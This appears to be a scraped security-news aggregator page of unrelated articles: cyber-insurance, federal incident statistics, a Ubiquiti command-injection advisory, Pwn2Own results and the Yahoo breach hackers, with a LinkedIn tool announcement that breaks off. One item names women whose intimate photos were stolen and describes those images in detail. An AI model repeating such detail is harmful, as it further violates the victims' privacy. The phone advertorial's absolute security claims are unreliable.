Quantcast
Channel: CodeSection,代码区,网络安全 - CodeSec
Viewing all 12749 articles
Browse latest View live

全球网络安全保险市场趋近成熟 我国市场刚刚起步潜力巨大

$
0
0
全球网络安全保险市场趋近成熟 我国市场刚刚起步潜力巨大

2小时前来源:赛迪网

【赛迪网讯】随着大数据、物联网时代的来临,各类型的企业都将大量的数据信息储存网络或者云端,数据涵盖用户的用户名、密码、身份证号码、邮箱、电话号码等;企业自身的产品信息、财务数据、机密文件等多个维度;大量信息储存网络,安全性势必受关注。


php?url=0FtF2hmPex" alt="全球网络安全保险市场趋近成熟 我国市场刚刚起步潜力巨大" />

同时,相关法律法规对网络安全、用户隐私保护的要求也在逐渐提高。《中华人民共和国网络安全法》并将于2017年6月1日实施,在这样的大背景下,如何确保网络安全,成为企业和个人关注的焦点问题。作为互联网保险的一种,网络安全保险应运而生,专门针对互联网中潜在的各种安全风险,为投保个人或者企业提供保障的一种产品。

网络安全风险无处不在

企业

外部威胁

企业面对的外部威胁,黑客攻击、勒索软件、DDOS攻击方法多种多样,但目的都是窃取目标公司的机密文件或是删除、修改、重发某些重要信息。


全球网络安全保险市场趋近成熟 我国市场刚刚起步潜力巨大

而近年来物联网逐渐兴起,无数的物联网设备同样是非常具有吸引力的攻击渠道,它们可能是数据或元数据的潜在来源,或者是变成的潜在攻击媒介也就是肉机。

内部威胁

企业内部手握网络合法访问权的,有员工、承包商等。若企业没有采取任何身份验证或加密措施,任何内部人员都能在任意设备上自由拷贝数据,别有用心的人员可随意泄露企业重要信息,将会给企业造成巨大损失。

用户身份认证安全隐患

在公司网络系统中,会存在远程访问权限的问题,对具有远程访问权限的用户连接应尽量采用先进的加密与身份认证手段,及时弥补认证手段中存在的缺陷。另外当员工向自己的客户或供应商发送关键邮件时,最好采用邮件加密和数字签名等手段,以确保数据传输的安全。

数据下载和数据存储安全隐患

随着Internet的普及,很多软件都可以共享,在使用每一个应用程序时都要注意其出处,尽量到官方、可信的站点下载,以免受到恶意程序的入侵攻击。另外还要注意使用的应用程序存在的各项漏洞,及时更新补丁。

在数据的保护方面应该制定备份与恢复计划。确保备份系统、存储和磁带所在的位置不能由生产网络中的系统普遍访问。如果勒索软件攻击中的有效内容横向蔓延,则可能会影响备份的数据。

员工网络安全意识薄弱

加强用户意识培训,定期更新软件补丁;面对可疑邮件附件,提醒员工不要下载和点击,也不要访问可疑网站或从任何非官方开发者网站和应用商店下载程序。

个人

随着互联网的普及,人们对互联网的依赖日渐加深,随着而来的安全问题也日益凸显。而对于大量网民来说个人信息泄露的危害最为巨大,根据公开信息,2011年至今,已有11.27亿用户隐私信息被泄露。


全球网络安全保险市场趋近成熟 我国市场刚刚起步潜力巨大

1.在虚假或钓鱼网站帐号上填写的个人信息导致的泄露。如果这个网站的数据库不够安全,那就有可能被黑客利用漏洞来攻破,从而导致泄露。

2.手机上的木马等恶意程序也是导致个人信息泄露的一大途径。

3.钓鱼网站也是导致个人信息泄露的主要途径之一。2015年360补天平台曾收录1200多个网站的1410个漏洞,黑客通过这些漏洞可获取55.3亿条个人信息。

4.在公共场所连接了一些没有密码的公共wifi,一旦连上这种钓鱼wifi,那么用户手机所有上传下行的数据都有可能被全部窃取。

5.二维码诈骗成为最新的盗取个人信息手段。目前,二维码支付、二维码解锁单车在人们生活中十分常见,而一些不法分子就在二维码上动手脚,盗取用户信息。不法分子惯用的手段是在二维码中植入虚假网站,当用户扫描后,诱导用户填写姓名及号码等,最终盗取用户的个人信息。

小编提示:人永远是安全防御中最薄弱的一环!

互联网的飞速发展,它渐渐深入到人们生活工作的各个角落,在人们享受便利生活的同时,大量存储的信息和数据也给企业和个人安全带来了巨大的威胁。企业和个人该如何避免网络风险导致的损失?网络安全保险或许是一种便捷快速的解决之道。

中国市场潜力巨大

劳合社与剑桥大学风险研究中心共同发布的“劳合社城市风险指数报告”显示,在2015年至2025这十年间,网络攻击引发的全球潜在经济损失可能高达2940亿美元。正如劳合社首席执行官英格碧尔(Inga Beale)所说,网络风险已然成为了企业面临的常规风险。


全球网络安全保险市场趋近成熟 我国市场刚刚起步潜力巨大

另据普华永道发布的报告《保险2020与超越:从网络弹性中获取红利》预测,到2018年,全球网络安全保险市场将增至50亿美元,到2020年将增至75亿美元。

从我国的情况看,网络安全保险在中国仍是一个非常年轻的领域,尽管近年来网络数据泄露事件时有发生,不过,针对网络安全风险的保险产品在2013年才出现,2014年签发了第一张保单。非官方数据估计,目前我国网络安全保险市场保费规模接近1000万元。不过业界认为未来几年网络安全保险市场将快速发展。

国家《网络安全法》相关政策

十二届全国人大常委会第二十四次会议7日上午经表决,通过了《中华人民共和国网络安全法》。这是我国网络领域的基础性法律,明确加强对个人信息保护,打击网络诈骗。该法将自2017年6月1日起施行。网络安全法共有7章79条,内容上有6方面突出亮点:

第一,明确了 网络空间主权的原则;

第二,明确了 网络产品和服务提供者的安全义务;

第三,明确了 网络运营者的安全义务;

第四,进一步完善了 个人信息保护规则;

第五,建立了 关键信息基础设施安全保护制度;

第六,确立了 关键信息基础设施重要数据跨境传输的规则。

对当前我国网络安全方面存在的热点难点问题,该法都有明确规定。

国外网络安全保险的发展

网络安全保险概念自上世纪90年代诞生,业已存在了十多年。且在北美等发达地区,其市场增长非常快。就普华永道最近一份报告《保险2020与超越:从网络弹性中获取红利预测,到2018年,全球网络安全保险市场将增至50亿美元,到2020年将增至75亿美元。

据资料显示,从全球网络安全保险市场分布来看,目前美国约占90%,欧洲约占8%,亚太地区占比仅为1%。目前中国的网络安全保险市场还处在萌芽期,但业内人士认为未来几年也将实现大发展。

美国:

全美约有50家保险公司提供专门的网络攻击保险(Network attacks Policy),其中包括美国国际集团(AIG)、丘博(Chubb)和安达(ACE)等保险行业的巨头。有研究表明,美国每年应对网络犯罪而付出的平均成本高达590万美金,因此,越来越多的被保险人通过购买保险来保障由于出现网络安全事故而遭受的财产损失。

法国:

法国保险企业正在瞄准针对网络攻击的新险种。根据普华永道会计师事务所2016年初发布的报告,全球用于打击网络犯罪的花费已达4000亿美元。随着物联网、自动驾驶、机器人等技术的进一步发展,这一开销在未来五年可能达到2万亿,针对网络攻击的新险种市场潜力巨大。

保险产品的承保范围

保险产品提供的承保范围会涵盖其中一方或者双方都涉及的风险。

针对第一方的保险涵盖了企业自己的资产,这可能包括:

- 数字资产,如数据或软件项目的损坏或中断;

- 网络瘫痪造成的业务中断;

- 网络敲诈,比如黑客威胁破坏或泄露公司重要数据信息;

- 客户通知费用,尤其是在法律或监管要求下,公司必须通知客户信息的安全或泄露的义务;

- 声誉损失,数据泄密引起的违约风险或者客户流失所产生的声誉风险;

- 网络盗窃,由设备失窃或系统网络入侵导致公司数字资产或资金失窃的风险。

针对第三方的保险涵盖他人的资产,通常包括:

- 安全和隐私泄露,包括相关的介入调查,诉讼费用和民事赔偿等面临的风险;

- 多重媒体责任,涵盖由纸质或者电子媒体报道中的隐私泄露、过失或诽谤言论等所造成的诉讼费用和民事赔偿风险;

- 第三方数据丢失,包括由拒绝访问、系统或软件的中断所面临的客户索赔风险。

随着网络环境的恶化,网络突发事件对企业和个人的冲击愈发严重,面对不可避免的网络风险,网络安全保险必将成为各行业保驾护航的必需品。

相信随着《网络安全法》的通过实施,从企业到个人消费者再到保险公司都将更加深刻地意识到网络安全的重要性,网络安全保险将会在中国快速发展!


一款不需要充电桩的手机,金立M2017最安全的商务手机

$
0
0
一款不需要充电桩的手机,金立M2017最安全的商务手机

一点号数码工坊3天前

在刚过去的央视315晚会上,曝光了惊人的一幕,黑客利用手机充电桩对手机进行控制,不仅可以查看手机中的照片、短信等,甚至盗走了用户的存款的信息,让很多消费者惊吓不已,不少人都说这么简单的一个手机充电桩,居然隐藏着这么多不安全的因素。其实这也是充电桩设计不合理的问题,如果是直接从插座上输出,那应该是没有任何问题的。


php?url=0FsG0K1jiA" alt="一款不需要充电桩的手机,金立M2017最安全的商务手机" />

这样的充电桩在火车站,汽车站比较多见,在候车的时候边充电边玩。如今智能手机不仅大屏幕,还带来了很多娱乐,玩游戏,看电影,拍照和聊天等耗电严重,一天一充正常,尤其是年轻人甚至一天多充,当然这也是智能手机电池容量太小的原因,如果手机续航能坚持看八小时电影,相信充电桩也没多少人会使用,那么安全隐患也就自然消除了。


一款不需要充电桩的手机,金立M2017最安全的商务手机

在安全上,金立M2017内置的独立加密芯片经过国家权威机构验证,这款芯片自带的RAM、ROM与Eflash,确保加解密过程、秘钥存储等均在此芯片中完成,外部无法进入或破解,即使通过外力破解芯片,也无法还原已经加密过的芯片,哪怕破获到信息文件,也只是一堆乱码,可以说是目前安全系数最高的商政手机,无论你是连接电脑还是充电桩,都不用当心数据会被人窃取。


一款不需要充电桩的手机,金立M2017最安全的商务手机

而续航方面,目前以续航为主打的也就只有金立手机了,去年发布的高端商政手机金立M2017搭载了7000mAh锂电池,正常使用三天都不需要对手机充电,更何况它还使用了QC3.0快充技术,2个多小时就可以充满,就算没有充电桩也不影响续航。


一款不需要充电桩的手机,金立M2017最安全的商务手机

手机安全一直以来都是老生常谈的问题,这关系到我们的隐私和财产安全,这也是315对充电桩不安全解密的主要原因。在生活中还有免费WiFi,蓝牙连接,甚至是一条小小的QQ和微信链接就有可能窃取我们的手机信息,可见手机安全的重要性。对于金立M2017而言,牛皮材质也让这部手机更显高端,外加上安全和续航长绝对是高端商政人士的不二选择。

电竞圈竟也出现网络诈骗:粉丝须更小心

$
0
0
电竞圈竟也出现网络诈骗:粉丝须更小心

2小时前来源:秀爽游戏

原标题:电竞圈竟也出现网络诈骗:粉丝须更小心

中国电竞发展的越来越好了,很多主播名人赚的钱是许多人一辈子都达不到的,很多人都看出里面的商机,打算投身电竞圈。不少骗子也看出里面的许多门道,因此关于电竞圈的诈骗案也层出不穷。

3月中旬,小智的微博曝光了一起冒充其身份的“兼职诈骗案”,受害者为小智粉丝,受骗金额高达万元,随即小智微博说道:要给“小朋友搞搞事情”。


php?url=0FtIzZHeu5" alt="电竞圈竟也出现网络诈骗:粉丝须更小心" />

微博一出,协同新浪、警方的通力合作,很快就查封了假微博。


电竞圈竟也出现网络诈骗:粉丝须更小心

无独有偶,前段时间,皇族俱乐部也发布公告,揭穿骗子假借皇族内部工作人员的身份,以招聘数据分析师为由,骗取所谓的“赞助费”这一可恶行径!


电竞圈竟也出现网络诈骗:粉丝须更小心

纵观这两起案件,其实不难发现,骗子的手段其实并不高明,仅仅是最简单的刷单骗术,以及漏洞百出的招聘启事,但他们屡屡得手的原因则是通过高仿帐号冒充电竞名人,利用粉丝的信任以及对电竞圈的热爱。

在这里,小编也要提醒各位,投身电竞不要盲目,天上往往不掉馅饼,掉的是大石头!提高自身鉴别能力,谨防受骗!

【网络安全】白宫发布2016财年联邦机构网络攻击统计报告

$
0
0
网络安全】白宫发布2016财年联邦机构网络攻击统计报告

一点号信息与电子前沿10小时前


php?url=0FtIZkgXPM" alt="【网络安全】白宫发布2016财年联邦机构网络攻击统计报告" />

近日,白宫管理与预算办公室公布2016财年美国机构网络安全措施和事件统计报告(全文121页)。本次统计采用的方法有所改变,所以无法将其与前几年的数据进行比较。尽管如此,联邦政府网络安全工作仍取得一些进展。

报告显示,2016财年联邦政府共发生30899起网络安全事件,经机构负责人确定,其中只有16起属于“重大信息安全事件”。

报告指出,攻击类型不明或攻击原因不明的网络事件共11802起,占总数的1/3;涉及计算机设备丢失或被盗的网络事件共5690起,占总数的1/5;基于Web或基于Web应用的攻击共4868起;涉及邮件钓鱼的网络事件共3292起;涉及可移动媒介和周边设备的网络事件共138起;涉及不合理使用的网络事件共4030起;涉及多个攻击向量的网络事件共806起;假冒/欺骗网络事件为64起。


【网络安全】白宫发布2016财年联邦机构网络攻击统计报告

该报告指出,几个关键的网络安全目标和指标的衡量结果显示,联邦机构取得的绩效改进包括:

持续监控能力 为机构网络上的计算机硬件和软件提供态势感知,并提供端点配置方式。为了实现这一目标,报告中提到的89个机构必须监控每个分类下95%的资产。

多因素身份验证 要求在登录时使用一种称为个人身份验证或PIV卡的智能卡。为了实现这一目标,机构必须要求所有特权用户和85%的非特权用户遵守PIV要求。目前达到该目标的机构数量从27个(所有特权用户)和24个(85%的非特权用户)均增加至40个。

反网络钓鱼和恶意软件防御能力 降低通过电子邮件和恶意或被感染网站遭到入侵的风险。为了实现这一目标,各机构必须在其90%的基础设施中实现一定的能力。目前达标的机构数量已增加一倍以上。


【网络安全】白宫发布2016财年联邦机构网络攻击统计报告

《2002年联邦信息安全管理法》及《2014年联邦信息安全现代化法案》要求机构定期发布网络安全统计,并要求美国行政管理和预算办公室收集相关数据。

好莱坞再曝艳照门 黑客点名要曝奥斯卡影后的裸照

$
0
0

php?url=0FtICcrEOv" alt="好莱坞再曝艳照门 黑客点名要曝奥斯卡影后的裸照" />

黑客点名要曝光凯莉詹娜(图左)和奥斯卡影后劳伦斯的裸照

近日,国外媒体报道称,女星艾玛沃特森和阿曼达赛佛瑞的社交账户遭到入侵,大量私照被曝光,并由此担心新一轮“艳照门”的爆发。现在,这种担心成为现实。最新消息,这两天又有更多女星的不雅照片泄露在网络当中。其中包括奥斯卡影帝西恩潘的女儿黛伦潘、萝丝麦高文、美女摔跤选手佩琪。然而,黑客并不准备就此收手,并威胁将会公开更多女性的艳照,包括奥斯卡影后詹妮弗劳伦斯、卡戴珊的妹妹凯莉詹娜等人。2014年,好莱坞曾爆发过一次涉及多名当红女星的艳照门事件,而此次黑客卷土重来,艺人和网友都希望警方能够快速破案,将黑客逮捕归案。


好莱坞再曝艳照门 黑客点名要曝奥斯卡影后的裸照

西恩潘的女儿黛伦成为第二波受害者

本周二,照片开始在网络论坛Reddit和4chan上流传,这些是拍电影《美女与野兽》而试穿泳装的照片。《美女与野兽》的发言人确认了照片被盗,但否认存在任何色情裸照。“来自同一件衣服,几年前艾玛与一名造型师在试装时拍的照片被黑客盗走,它们不是裸体照片,我们已经在与律师讨论对策,不会进一步评论。”这个事件让人联想到2014年的好莱坞艳照门事件,黑客进入女演员的在线存储帐户,并获取了她们的裸体照片。罪犯Ryan Collins(瑞安柯林斯)非法访问超过100个苹果iCloud和Gmail帐户,詹妮弗劳伦斯、麦凯拉马罗尼、伊冯娜斯特拉霍夫斯基等17位明星私照纷纷被曝光。这些照片也广泛传播在Reddit和4chan上。


好莱坞再曝艳照门 黑客点名要曝奥斯卡影后的裸照

好莱坞再曝艳照门

在最新一波流出的裸照中,有黛伦潘袒露胸部照镜子的自拍照,也有照着太阳灯的全裸照,甚至出现疑似自慰的动作。曾演出电影《惊声尖叫》的萝丝麦高文(Rose McGowan)则是有疑似她为主角的性爱影片外泄。美女摔角选手佩琪(Paige)也在此波受害者名单上,她稍早在自己的推特上证实:“我个人私密的照片被偷了,而不很幸地,他们在未经我同意之下,将照片公开分享了。”


好莱坞再曝艳照门 黑客点名要曝奥斯卡影后的裸照

西恩潘的女儿黛伦成为第二波受害者

据悉,黑客还放话称,会继续分享更多女星的私密照,点名奥斯卡影后詹妮弗劳伦斯(Jennifer Lawrence)、卡戴珊的妹妹凯莉詹娜(Kylie Jenner)等人,此次“裸照门”事件似乎有越演越烈的趋势。有鉴于2014年曾曝发大规模好莱坞“艳照门”风波,不仅女艺人们害怕,网友也纷纷表示,希望警方能尽快抓到散布私密照片的黑客。

只有“全”,才有“安” 网络安全问题不容小觑!

$
0
0
只有“全”,才有“安” 网络安全问题不容小觑!

一点号信息安全与通信保密杂志社4天前


php?url=0FrlpohY14" alt="只有“全”,才有“安” 网络安全问题不容小觑!" />

没有网络安全就没有国家安全!当前,网络在飞速发展的同时,也给国家安全、公众及个人安全带来巨大的威胁。在今年的全国“两会”上,网络安全问题成为代表委员们关注度较高的话题之一。

审视当今网络发展,网络的规模在扩大,网络的类型在丰富,承载于其上的业务在增多,网络的使用主体从人扩展到物,我们比以往任何时候面临的潜在安全风险都多。全面筑牢网络安全的藩篱,从技术、标准、法律等多维度多层级形成拱卫之势,才能保卫网络的“安”――“两会”传递出的这种声音正在增大。

魔高一尺,道高一丈。提升技术含量无疑是网络安全中最基本的要求。以个人信息安全为例,全国人大代表、湖南电信总经理廖仁斌就认为,技术手段是个人信息安全最直接的保护方式。由于针对个人信息的采集、传输、存储与应用都是在互联网上进行的,对其信息安全的防护就必须从网络安全、数据安全、密码安全、应用安全、终端安全、位置安全、云存储安全、安全意识等多层面加强技术提升与漏洞防范。

事实上,围绕个人信息安全的问题,今年“两会”上代表委员提出了不少意见和建议,与以往相比,“主动发现”安全威胁成为意见主流。

“建立以数据隐私保护为主要目标的云、管、端安全模型,主动感知和防范安全威胁。”“大力发展基于大数据个人信息保护的全业务流程攻击监测系统和审计系统,迅速发现和处置隐藏在海量数据中的各类攻击行为、非法操作等各类安全事件。”“深入研究与推广信息安全领域的数据发布匿名保护技术、社交网络匿名保护技术、数据水印技术、数据溯源技术,以及基于大数据的威胁发现技术、认证技术、数据真实性分析等信息安全技术。”在大数据技术日益成熟的情况下,我们发现问题、细分归类、预测形势的能力日渐强大,主动防范技术成为可能,不仅在个人信息安全保护层面,在公共网络等层面大数据同样能发挥巨大作用。主动发现,提前预防,防患于未然正在成为网络安全新的应对之策。

物联网是近年来发展较快的一个领域,由于网络的连接对象从人扩大到了万物,所以网络规模急剧扩大,并且由于是新生事物,其面临的安全威胁也与日俱增。

2015年12月23日,乌克兰首都基辅电网遭到了黑客攻击导致全城停电。2016年10月21日,北美地区Twitter、Paypal等重要网站遭遇攻击,数十万包括摄像头、路由器、DVR(硬盘录像机)在内的物联网设备被控制……物联网一旦发生安全问题,除了个人隐私泄露、经济损失以外,个人的生命安全以及国家基础设施也都将受到威胁。

全国人大代表、浙江移动董事长兼总经理郑杰就向记者总结了目前物联网安全的现状。他认为,数以千万级的物联网感知层的终端无法得到像传输层、应用层那样受到企业级的安全防护,传统的信息安全保护技术不再适合物联网系统,安全面临极大威胁。出现这些问题的症结主要在于,物联网安全技术缺乏统一标准,相关核心技术自主创新能力不足,部分依赖国外,与发达国家相比,我国在物联网系统建设中对信息安全领域的投入还相对偏低。

因此,从国家层面出发,推动物联网安全的顶层设计和标准制定成为今年“两会”上一个重要的呼声。很多代表委员建议出台《物联网安全指导原则》,明确网络与信息安全的同步规划、同步建设和同步运行的原则,并且要快速加强物联网安全技术的国内标准国际化,让网络安全穿上法律规则的护身衣。

全国人大代表、河南移动总经理魏明呼吁国家进一步完善网络安全技术标准和保障体系,形成“监控、防护、溯源”三位一体的信息技术支撑体系,并且加大网络信息安全的机制建设、手段建设和队伍建设,促进社会联动,加强网络空间治理,共同营造一个风清气正的网络空间。

去年的徐玉玉案等网络诈骗令全社会震惊,同时也引发了人们对打击网络诈骗的极大关注。在今年的“两会”上,网络诈骗的议题也引发了热议。“确实最近媒体上报道有很多泄露个人信息方面的情况,挺令人震惊的。互联网的发展,大数据时代的到来,确实大大地方便了人们的生活,但同时也对保护个人信息提出了严峻的挑战,这恐怕也是一个全球性的问题。”在十二届全国人大五次会议新闻发布会上,发言人傅莹就对网络诈骗表示了很大的关注。

全国人大代表、重庆移动董事长兼总经理郭永宏介绍说,在技术层面上,有关各方已经采取了很多措施,以中国移动为例,2016年第四季度中国移动涉嫌通讯信息诈骗被举报通报的号码环比下降34.2%。中国移动正在进一步加强与司法机关联动,积极研发新的技术手段,不断提高打击通讯信息诈骗活动的实际效果。但是要想从源头上彻底打击网络诈骗,还需要统一领导,各层级全面配合,形成合力。他呼吁在法律层面加大对通讯信息诈骗行为的惩治力度。

事实上,从法律层面加大对通讯信息诈骗的惩治力度已经成为普遍呼声。全国人大代表、浙江移动总经理郑杰就认为,通讯信息诈骗严重侵害群众财产安全,但我国通过司法解释,将通讯信息诈骗作为诈骗罪来定罪量刑,最低刑为三年以下有期徒刑、拘役或者管制,其量刑显然偏轻。他建议增加通讯信息诈骗专款罪名,并加大刑罚力度,应适度提高通讯信息诈骗罪的法定刑,优化配置自由刑与财产刑,以财产刑为主,提高罚金数额。

全国人大代表、腾讯董事会主席马化腾针对电信网络诈骗及个人信息诈骗提出了建议,他呼吁推动形成社会共治的全新模式,并且对新型网络犯罪加大打击力度,同时加快法制建设步伐,推进法律适用和落实执行等配套机制,提升犯罪成本。

纵观今年“两会”代表委员的提议,维护网络安全、打击网络犯罪的相关意见建议显著增多:技术、监管、自律、标准、法律、人才,大家普遍意识到只有全方位地加大安全投入,才能共同构筑起安全的藩篱。而随着实践和思考的深入,代表委员们各种具体的建议和提案也更具建设性和可操作性。希望“两会”结束后,这些好的意见建议能尽快落地,一个风清气正的网络空间早日到来!


只有“全”,才有“安” 网络安全问题不容小觑!

入侵雅虎的黑客竟然如此高调

$
0
0
入侵雅虎的黑客竟然如此高调

一点号安全牛昨天

依靠私人黑客让政府有了几分推诿的底气,但也可能导致整个计划崩盘。


php?url=0Ft5rc90xa" alt="入侵雅虎的黑客竟然如此高调" />

正如FBI怀疑俄罗斯背后主导了2014年雅虎数据泄露事件,当政府转向私人黑客执行国家支持的网络攻击时,他们其实冒着很大的风险。

一方面,这给了他们收获攻击潜在利益的同时还可以耍个赖推卸下责任。但如果黑客一个没看紧,事情就有可能演变得不可收拾。

卡里姆巴拉托夫,22岁加拿大籍黑客,FBI指称被俄罗斯国家安全局雇佣黑了雅虎数据的主儿,就没想过要保持低调。

他的Facebook和Instagram状态根本是在炫富,展现了他在多伦多郊区置下的百万美元豪宅和一溜儿豪华跑车,最新版阿斯顿马丁 DB9 甚至还挂了“MR KARIM”车牌。

好吧,这不重要,还是来看看他在隐藏黑客活动上是有多么的不小心好了。

多个俄语网站注册在他名下,这些网站提供电邮黑客业务,价格在每账户80-90美元之间。域名记录中,他的地址赫然在列。

Hold Security 首席信息安全官阿列克斯霍尔登表示,引入不遵守标准程序的业余玩家是有风险的。


入侵雅虎的黑客竟然如此高调

Baratov的Instagram账户

雅虎数据泄露发生在2014年。那个时候,该公司通知了FBI,但感觉只有26个账户被盯上。直到2016年年中,该黑客事件的巨大体量和深远影响才显现出来。

安全专家称,有可能是巴拉托夫,或者另一名被雇佣的黑客,在网上炫了炫此次黑客行动,给美国调查人员泄了点料。

然后,2016年8月,黑市上流传起了据称偷自雅虎的数据库。

“关于此次黑客行动的一些信息基本都泄露了。这可不是成熟情报行动的标志。”

那么,为什么俄罗斯要求助于一名22岁的加拿大人呢?语言或许是其中一个考量。

起诉书中,巴拉托夫被控通过渔叉式网络钓鱼邮件攻击登入了那些账户。这是一种诱骗受害者给出口令信息的常见方法。

但是,渔叉式网络钓鱼,只有在钓鱼邮件编造得能以假乱真的情况下才有效。

安全公司Sophos研究科学家切斯特说:“攻击团队里纳入卡里姆这个加拿大人的好处,可能是因为他母语英语,可以编造出更可信的网络钓鱼攻击邮件。”

除了巴拉托夫,俄罗斯机构据说还雇佣了名为阿列克谢贝兰的29岁拉脱维亚人,完成了对雅虎的主要黑客攻击,盗得包含5亿用户账户的数据库。

通过外包行动给贝兰,俄罗斯可能想要掩盖雅虎数据泄露的真实动机。在被公诉前,贝兰就已经因为黑了美国电商而被通缉了。

“谁是更好的入侵帮手?用犯罪行动当做间谍行动掩饰外衣的情况也是有的。”

在对本月15日FBI起诉的响应中,俄罗斯政府否认了与黑客事件的关联,称指控是在混淆视听。

巴拉托夫已经在加拿大被捕,坚称自己清白无辜。而贝兰则一直在逃。

不过,如果指控是真的,这确实显示出了俄罗斯是怎样利用网络犯罪的力量服务于间谍目的的,以及这种方式是怎么一不小心就玩脱了的。

Vulnerability Disclosed in Ubquiti Networks Admin Interface

$
0
0

Vulnerability Disclosed in Ubquiti Networks Admin Interface

Ubiquiti Networks, a maker of networking gear for service providers, has been since November dealing with a critical command-injection vulnerability in the administration interface of more than 40 of its products.

Researchers at SEC Consult went public with the issue this week after privately disclosing the flaw to the vendor via its HackerOne bug bounty program. According to a timeline published by the researchers, Ubiquiti initially marked the issue as a duplicate, then promised a patch in a future stable release, but has yet to deliver.

A post to a Reddit thread about the vulnerability from a Ubiquiti employee cited a communication breadown between the company’s internal ticket on the issue and the initial submission to HackerOne.

“We’re reviewing the process of getting updates from our internal ticket system back to HackerOne reporters, to ensure that doesn’t happen in the future. And making sure all updates back from submitters make it to the appropriate development team,” the post said. “Agree this looks very bad, but I can assure you the optics of this aren’t an accurate reflection of how security issue reports are handled. We did drop the ball in communication here, but it wasn’t due to the issue being ignored.”

A request for comment from Ubiquiti Networks was not returned in time for publication.

As egregious as the four-month wait for a patch is the fact that the root cause of the vulnerability is the use of a 20-year-old php script in the interface. According to SEC Consult, the vulnerability lives in the pingtest_action.cgi script, which is using PHP/FI 2.0.1 which was built in 1997.

“The vulnerability can be exploited by luring an attacked user to click on a crafted link or just surf on a malicious website,” SEC Consult said in its advisory. “The whole attack can be performed via a single GET-request and is very simple since there is no CSRF protection.”

SEC Consult previously disclosed the lack of cross-site request forgery and cross-site scripting protection in January. Most of the same Ubiquiti gear was impacted as well, and the vendor told SEC that it considered this a low-risk threat and had no estimate for a patch. The researchers went public with an advisory Jan. 30.

The command injection flaw exposes the Ubiquiti admin interfaceto a number of risky attacks, SEC Consult said. For example, an attacker could connect to a vulnerable device by opening a port binding or reverse shell, and also change the password because the service runs as root.

“Low privileged read-only users, which can be created in the web interface, are also able to perform this attack,” SEC Consult said. “If the Ubiquiti device acts as router or even as firewall, the attacker can take over the whole network by exploiting this vulnerability.”

The Reddit post, meanwhile, indicates that Ubiquiti is working on patches, and that the vulnerability has been addressed in AirOS 8.0.1, the operating system running in Ubiquiti airMAX products, and that additional patches were imminent.


VM Escape Earns Hackers $105K at Pwn2Own

$
0
0

VM Escape Earns Hackers 5K at Pwn2Own

Hackers managed to take down Microsoft Edge andescape a virtual machine to boot on the third day of Pwn2Own early Friday. Members from Qihoo’s 360 Security Team carried out the VM exploit, earning the group $105,000, by far the highest amount awarded to a group at the hacking challenge this week.

Led by team leader Zheng Wenbin, a/k/a mj0011, the group used a heap overflow in Microsoft Edge, a type confusion bug in the windows kernel, and an uninitialized buffer in VMware for a complete virtual machine escape.

Wow. @mj0011sec did it. Used heap overflow in Edge, type confusion in kernel, & uninit buffer in VMware for complete virtual machine escape.

― Zero Day Initiative (@thezdi) March 17, 2017

This is the second year that entrants have been given the opportunity to exploit a VMware Workstation virtual machine. After no one attempted targeting it last year, Pwn2Own upped the ante this year by raising the award for an escape from $75,000 to $100,000.

On the second day of Pwn2Own, no product was immune; hackers took down Adobe Flash, Microsoft Windows and Edge, Apple Safari and macOS, and Mozilla Firefox.

Apple products were targeted early and often on Thursday as part of the annual competition held alongside the CanSecWest conference in Vancouver.

Hackers from two groups were able to elevate privileges on macOS right off the bat. 360 Security used an info leak and a race condition in the kernel to do so, while Chaitin Security’s Research Lab used an info leak and an out of bounds bug in the operating system’s kernel.

Chaitin, a newcomer to the competition this year, had chained six Safari bugs together the day prior to achieve root access on macOS. While the macOS exploits earned both groups $10,000 apiece, 360 Security came back and exploited Safari through an integer overflow, then escalated to root through a macOS kernel use-after-free, earning them an additional $35,000.

Two other teams were scheduled to exploit bugs in macOS; one decided to withdraw itsattempt, the other was disqualified because the bugs they were planning on using had previously been disclosed to Apple.

The attacks against Flash came a day after hackers took down another Adobe product, Reader. Hackers with Tencent Security and Qihoo 360 poked holes in the softwareearly Wednesday to earn $75,000 collectively.

360 Security team exploited a use-after-free bug, two Windows kernel info leaks, and an uninitialized Windows kernel buffer to elevate Flash to SYSTEM-level access to start out the day. Tencent meanwhile used a use-after-free bug against Flash, and then escalated to SYSTEM via another use-after-free in the Windows kernel. Both groups earned $40,000 apiece for their work.

Like Wednesday, Microsoft’s Edge browser was a popular target on Thursday. Another Tencent Security group, Team Lance, managed to exploit a use-after-free in Chakra core, then elevate their privilege to SYSTEM through another use-after-free in the kernel.


VM Escape Earns Hackers 5K at Pwn2Own

Another Tencent Security team, Team Sniper, comprised of Keen Lab and PC Manager researchers, also owned the browser through a use-after-free in Chakra. Like Team Lance, the group was able to escalate to SYSTEM privileges after through another use-after-free in the Windows kernel. Both Tencent teams pulled in $55K apiece for their exploits.

Edge was a popular punching bag Tencent’s Team Ether earned $80K on Wednesday for escaping the browser’s sandbox but Windows had its share of exploits too. 360 Security exploited the operating system with an out-of-bounds bug in the kernel while Tencent’s Team Sniper elevated privileges in the OS via an integer overflow in the kernel.

As far as browser hacks go, the only news outside of the Edge exploits was that one group, Chaitin, managed to take down Firefox. The group used an integer overflow and then escalated privileges through an initialized buffer in the Windows kernel, an exploit that earned them $30K.


VM Escape Earns Hackers 5K at Pwn2Own

Google’s Chrome has emerged in one piece the one team that targeted the browser Wednesday couldn’t get their exploit chain working in the allotted timeframe.

There are only three exploits scheduled for today, the last day of the hacking challenge .

360 Security has already succeeded at theSYSTEM-level escalation exploit it planned to pair with a virtual machine escape.

One entrant, Richard Zhu a/k/a fluorescence, will target Edge with a SYSTEM-level escalation while another, Tencent Security’s Team Sniper also plans to target VMWare Workstation.

While there aren’t many attempts scheduled, there could still be a good amount of money on the line.

If Tencent Security’s Team Sniper, the group targeting the second VMWare exploit, manages to pull off their exploit, the group will become the second to earn $100,000.

Introducing and Open Sourcing Flashback, an Internet Mocking Tool

$
0
0

Co-authors:Shangshang Feng,Yabin Kang, andDan Vinegrad

At LinkedIn, we often develop web applications that need to interact with third-party websites. We also employ automatic testing to ensure the quality of our software before it is shipped to production. However, a test is only as useful as it is reliable. With that in mind, it can be highly problematic for a test to have external dependencies, for instance on a third-party website. These external sites may change without notice, suffer from downtime, or otherwise become temporarily inaccessible, as the internet is not 100 percent reliable. If one of our tests relies on being able to communicate with a third-party website, the cause of any failures is hard to pinpoint. A failure could be due to an internal change at LinkedIn, an external change made by the maintainers of the third-party website, or an issue with the network infrastructure. As you can imagine, there are many reasons why interactions with a third-party website may fail. So, you may wonder, how will I deal with this problem? The good news is that there are many internet mocking tools that can help. One such tool is Betamax . It works by 